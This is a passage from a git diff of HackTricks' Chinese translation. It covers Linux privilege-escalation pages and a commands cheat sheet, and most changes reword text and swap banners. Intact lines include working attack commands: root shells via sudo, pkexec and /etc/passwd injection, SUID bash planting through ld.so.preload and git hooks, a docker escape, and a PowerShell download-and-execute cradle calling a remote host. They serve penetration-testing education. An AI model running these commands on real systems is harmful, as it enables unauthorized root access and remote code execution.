for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```
-
-**获取交互式lua shell**:如果你处于一个受限的lua shell中,你可以通过以下方式调用来获取一个新的lua shell(希望是无限制的):
-
+**获取交互式lua shell**:如果你在一个受限制的lua shell中,可以调用以下命令获取一个新的lua shell(希望是无限制的):
```bash
debug.debug()
```
-
-### 参考资料
+## 参考
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (幻灯片: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
+{% hint style="success" %}
+学习并练习 AWS 黑客技能:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP 黑客技能:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+支持 HackTricks
+
+* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
index 784d19ffb..fd29a4994 100644
--- a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
+++ b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
@@ -1,24 +1,25 @@
# 有趣的组 - Linux提权
+{% hint style="success" %}
+学习并练习AWS黑客:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
## Sudo/Admin 组
### **PE - 方法1**
-**有时**,**默认情况下(或因为某些软件需要)**,您可以在**/etc/sudoers**文件中找到以下一些行:
+**有时**,**默认情况下(或因为某些软件需要)**,您可以在**/etc/sudoers**文件中找到以下这些行:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@@ -26,36 +27,38 @@
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
-这意味着**属于sudo或admin组的任何用户都可以作为sudo执行任何操作**。
+这意味着**属于 sudo 或 admin 组的任何用户都可以作为 sudo 执行任何操作**。
-如果是这种情况,要**成为root用户,只需执行**:
+如果是这种情况,要**成为 root 用户,只需执行**:
```
sudo su
```
-### PE - 方法2
+### 提权 - 方法 2
查找所有SUID二进制文件,并检查是否存在二进制文件 **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
-如果发现二进制文件 **pkexec 是 SUID 二进制文件**,并且你属于 **sudo** 或 **admin** 组,你可能可以使用 `pkexec` 以 sudo 权限执行二进制文件。\
+如果发现二进制文件 **pkexec 是 SUID 二进制文件**,并且你属于 **sudo** 或 **admin** 组,那么你可能可以使用 `pkexec` 以 sudo 权限执行二进制文件。\
这是因为通常这些组是 **polkit 策略** 中的组。该策略基本上标识了哪些组可以使用 `pkexec`。使用以下命令检查:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
-在这里,您将发现允许执行**pkexec**的组以及在某些Linux发行版中**默认情况下**出现的**sudo**和**admin**组。
+在这里,您将发现有哪些组被允许**默认情况下**执行**pkexec**,在某些Linux发行版中,**sudo**和**admin**组会出现。
要**成为root用户,您可以执行**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
-如果尝试执行 **pkexec** 时出现以下 **错误**:
+如果尝试执行**pkexec**时出现以下**错误**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**这不是因为你没有权限,而是因为你没有连接到图形界面**。这里有一个解决此问题的方法:[https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要**2个不同的ssh会话**:
+
+{% code title="session1" %}
```bash
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@@ -78,7 +81,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1
```
这意味着**任何属于wheel组的用户都可以作为sudo执行任何操作**。
-如果是这种情况,要**成为root用户,只需执行**:
+如果是这种情况,**要成为root用户,只需执行**:
```
sudo su
```
@@ -90,9 +93,9 @@ sudo su
```
所以,阅读文件并尝试**破解一些哈希值**。
-## Staff 组
+## 员工组
-**staff**:允许用户在不需要 root 权限的情况下向系统 (`/usr/local`) 添加本地修改(请注意,`/usr/local/bin` 中的可执行文件在任何用户的 PATH 变量中,它们可能会“覆盖”具有相同名称的 `/bin` 和 `/usr/bin` 中的可执行文件)。与与监控/安全性更相关的组“adm”进行比较。[来源](https://wiki.debian.org/SystemGroups)
+**staff**:允许用户在不需要 root 权限的情况下向系统 (`/usr/local`) 添加本地修改(请注意,`/usr/local/bin` 中的可执行文件在任何用户的 PATH 变量中,它们可能会“覆盖”具有相同名称的 `/bin` 和 `/usr/bin` 中的可执行文件)。与与监控/安全性更相关的组“adm”进行比较。 [\[来源\]](https://wiki.debian.org/SystemGroups)
在 Debian 发行版中,`$PATH` 变量显示 `/usr/local/` 将作为最高优先级运行,无论您是特权用户还是非特权用户。
```bash
@@ -102,11 +105,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
-### 有趣的 Linux 特权提升组
+如果我们能劫持`/usr/local`目录中的一些程序,就很容易获取root权限。
-如果我们能劫持 `/usr/local` 目录中的一些程序,就很容易获取 root 权限。
-
-劫持 `run-parts` 程序是一种轻松获取 root 权限的方法,因为大多数程序都会运行类似 `run-parts` 的程序(比如 crontab,在 SSH 登录时)。
+劫持`run-parts`程序是一种轻松获取root权限的方法,因为大多数程序都会运行类似`run-parts`的程序(比如crontab,在ssh登录时)。
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@@ -174,26 +175,26 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
-**tty1** 表示用户 **yossi 物理登录** 到机器上的终端。
+**tty1** 表示用户 **yossi 是物理登录** 到机器上的终端。
-**video 组** 具有查看屏幕输出的权限。基本上你可以观察屏幕。为了做到这一点,你需要以原始数据的形式 **抓取屏幕上的当前图像** 并获取屏幕正在使用的分辨率。屏幕数据可以保存在 `/dev/fb0` 中,你可以在 `/sys/class/graphics/fb0/virtual_size` 中找到这个屏幕的分辨率。
+**video 组** 具有查看屏幕输出的权限。基本上,您可以观察屏幕。为了做到这一点,您需要以原始数据的形式 **抓取屏幕上的当前图像** 并获取屏幕正在使用的分辨率。屏幕数据可以保存在 `/dev/fb0` 中,您可以在 `/sys/class/graphics/fb0/virtual_size` 中找到此屏幕的分辨率。
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
-要**打开**原始图像,您可以使用**GIMP**,选择\*\*`screen.raw` \*\*文件,并选择文件类型为**原始图像数据**:
+**打开**原始图像,您可以使用**GIMP**,选择\*\*`screen.raw` \*\*文件,并选择文件类型为**原始图像数据**:
![](<../../../.gitbook/assets/image (463).png>)
-然后修改宽度和高度为屏幕上使用的值,并检查不同的图像类型(选择显示屏幕效果更好的类型):
+然后修改宽度和高度为屏幕上使用的值,并检查不同的图像类型(选择显示屏幕效果最好的那种):
![](<../../../.gitbook/assets/image (317).png>)
-## Root组
+## Root 组
-看起来默认情况下**root组的成员**可能可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些可能被用来提升权限...
+看起来默认情况下**root 组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些可能被用于提升权限...
-**检查root成员可以修改哪些文件**:
+**检查 root 成员可以修改哪些文件**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
@@ -211,44 +212,26 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash
```
-最后,如果您不喜欢之前的任何建议,或者由于某种原因(比如docker api防火墙?),您可以尝试**运行一个特权容器并从中逃逸**,如下所述:
+## lxc/lxd 组
+
+如果您不喜欢之前的任何建议,或者由于某种原因(比如 docker api 防火墙?),您可以尝试**运行一个特权容器并从中逃逸**,如下所述:
{% content-ref url="../docker-security/" %}
[docker-security](../docker-security/)
{% endcontent-ref %}
-如果您对docker套接字具有写权限,请阅读关于如何滥用docker套接字提升权限的[**这篇文章**](../#writable-docker-socket)**。**
+如果您对 docker 套接字具有写权限,请阅读关于如何滥用 docker 套接字提升权限的[**这篇文章**](../#writable-docker-socket)**。**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
-## lxc/lxd 组
-
-{% content-ref url="./" %}
-[.](./)
-{% endcontent-ref %}
-
## Adm 组
-通常,**`adm`**组的**成员**具有读取位于 _/var/log/_ 中的日志文件的权限。\
-因此,如果您已经入侵了该组中的用户,您应该绝对查看一下**日志**。
+通常,**`adm`** 组的**成员**具有**读取**位于 _/var/log/_ 中的日志文件的权限。\
+因此,如果您已经入侵了此组中的用户,您应该绝对**查看日志**。
## Auth 组
-在OpenBSD中,**auth**组通常可以写入 _**/etc/skey**_ 和 _**/var/db/yubikey**_ 文件夹(如果使用)。\
-可以利用以下漏洞滥用这些权限以将权限**升级为root**:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
-
-
-
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
-
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
-
-
+在 OpenBSD 中,**auth** 组通常可以写入 _**/etc/skey**_ 和 _**/var/db/yubikey**_ 文件夹(如果使用)。\
+可以使用以下漏洞利用来滥用这些权限以将权限**升级**为 root:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
diff --git a/linux-hardening/privilege-escalation/write-to-root.md b/linux-hardening/privilege-escalation/write-to-root.md
index cd0e1bbde..8a16f9b5e 100644
--- a/linux-hardening/privilege-escalation/write-to-root.md
+++ b/linux-hardening/privilege-escalation/write-to-root.md
@@ -1,23 +1,24 @@
-# 任意文件写入到根目录
+# 提权至Root的任意文件写入
+
+{% hint style="success" %}
+学习并练习AWS黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
### /etc/ld.so.preload
-这个文件的行为类似于**`LD_PRELOAD`**环境变量,但它也适用于**SUID二进制文件**。\
-如果您可以创建或修改它,只需添加一个**将随每个执行的二进制文件一起加载的库的路径**。
+该文件类似于 **`LD_PRELOAD`** 环境变量,但也适用于 **SUID 二进制文件**。\
+如果你可以创建或修改它,只需添加一个**将与每个执行的二进制文件一起加载的库的路径**。
例如:`echo "/tmp/pe.so" > /etc/ld.so.preload`
```c
@@ -36,9 +37,9 @@ system("/bin/bash");
```
### Git hooks
-[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)是在git存储库中的各种事件(例如创建提交,合并等)上运行的**脚本**。因此,如果一个**特权脚本或用户**频繁执行这些操作并且可以**写入`.git`文件夹**,这可能被用于**提权**。
+[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)是在git存储库中的各种事件上运行的**脚本**,比如创建提交、合并等。因此,如果一个**特权脚本或用户**频繁执行这些操作并且可以**写入`.git`文件夹**,这可能被用于**提权**。
-例如,可以在git存储库的**`.git/hooks`**中生成一个脚本,以便在创建新提交时始终执行:
+例如,可以在git存储库的**`.git/hooks`**中生成一个脚本,这样在创建新提交时它总是被执行:
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
@@ -51,6 +52,21 @@ chmod +x pre-commit
待办事项
-### binfmt_misc
+### binfmt\_misc
-位于`/proc/sys/fs/binfmt_misc`的文件指示哪个二进制文件应该执行哪种类型的文件。待办事项:检查滥用此功能以在打开常见文件类型时执行反向shell的要求。
+位于`/proc/sys/fs/binfmt_misc`的文件指示应该执行哪种类型的文件。待办事项:检查滥用此功能以在打开常见文件类型时执行反向shell的要求。
+
+{% hint style="success" %}
+学习并练习AWS黑客技术:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客技术:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+支持HackTricks
+
+* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+
+
+{% endhint %}
diff --git a/linux-hardening/useful-linux-commands.md b/linux-hardening/useful-linux-commands.md
index 2109889cc..d4d16921e 100644
--- a/linux-hardening/useful-linux-commands.md
+++ b/linux-hardening/useful-linux-commands.md
@@ -8,21 +8,22 @@
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+学习并练习AWS黑客技术:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客技术:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
-## 常见的Bash
+## 常见Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
@@ -144,7 +145,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
\
-使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 来轻松构建并通过全球**最先进**的社区工具**自动化工作流程**。\
+使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 来轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -171,44 +172,20 @@ i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
-### Grep
-
-Grep is a powerful command-line tool that allows you to search for specific patterns within files or command output. It is commonly used to filter and find specific information within text.
-
-### Basic Usage
-
-The basic syntax for using `grep` is as follows:
-
+### Grep for a string in files
```bash
-grep [options] pattern [file...]
+grep "string" file
```
-- `[options]`: Various options that modify the behavior of `grep`.
-- `pattern`: The pattern you are searching for.
-- `[file...]`: Optional parameter specifying the file(s) to search in. If not provided, `grep` will use standard input.
-
-### Example
-
-Search for the word "error" in a file named `logfile.txt`:
-
+### Grep for a string in files (case insensitive)
```bash
-grep error logfile.txt
+grep -i "string" file
```
-This will display all lines in `logfile.txt` that contain the word "error".
-
-### Useful Options
-
-- `-i`: Perform case-insensitive matching.
-- `-r`: Recursively search subdirectories.
-- `-n`: Display line numbers along with the search results.
-- `-v`: Invert the match to select non-matching lines.
-- `-E`: Interpret the pattern as an extended regular expression.
-- `-w`: Match whole words only.
-- `-c`: Display only the count of matching lines.
-- `-A`: Display lines after the matched line.
-- `-B`: Display lines before the matched line.
-- `-C`: Display lines before and after the matched line.
+### Grep for a string in all files in a directory
+```bash
+grep -r "string" /path/to/directory
+```
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@@ -326,7 +303,7 @@ nmap --script-help "(default or version) and smb)"
```
## Bash
-## Bash
+Bash是一个流行的Linux shell,以下是一些有用的Bash命令:
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
@@ -364,24 +341,25 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持 HackTricks
-其他支持HackTricks的方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
\
-使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
-立即获取访问权限:
+使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
+立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/linux-hardening/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md
index a69ad0223..9e1004b9f 100644
--- a/linux-hardening/useful-linux-commands/README.md
+++ b/linux-hardening/useful-linux-commands/README.md
@@ -8,21 +8,22 @@
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+学习并练习AWS黑客技术:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客技术:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
-## 常见的Bash
+## 常见Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
@@ -144,12 +145,12 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
\
-使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
+使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建和**自动化工作流程**,利用全球**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## 适用于Windows的Bash
+## 适用于 Windows 的 Bash
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
@@ -296,7 +297,9 @@ for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do ech
```
## Iptables
-### iptables是一个用于配置IPv4数据包过滤规则的工具。它是Linux系统中最常用的防火墙工具之一。iptables命令允许你配置防火墙规则,控制数据包的流动,从而增强系统的安全性。iptables命令非常强大且灵活,可以根据需要配置各种规则来保护系统免受网络攻击。
+### 简介
+
+Iptables 是一个 Linux 内核防火墙工具,用于配置 IPv4 和 IPv6 数据包过滤规则以及网络地址转换。iptables 工具允许系统管理员控制网络流量,提高系统的安全性。
```bash
#Delete curent rules and chains
iptables --flush
@@ -327,24 +330,25 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
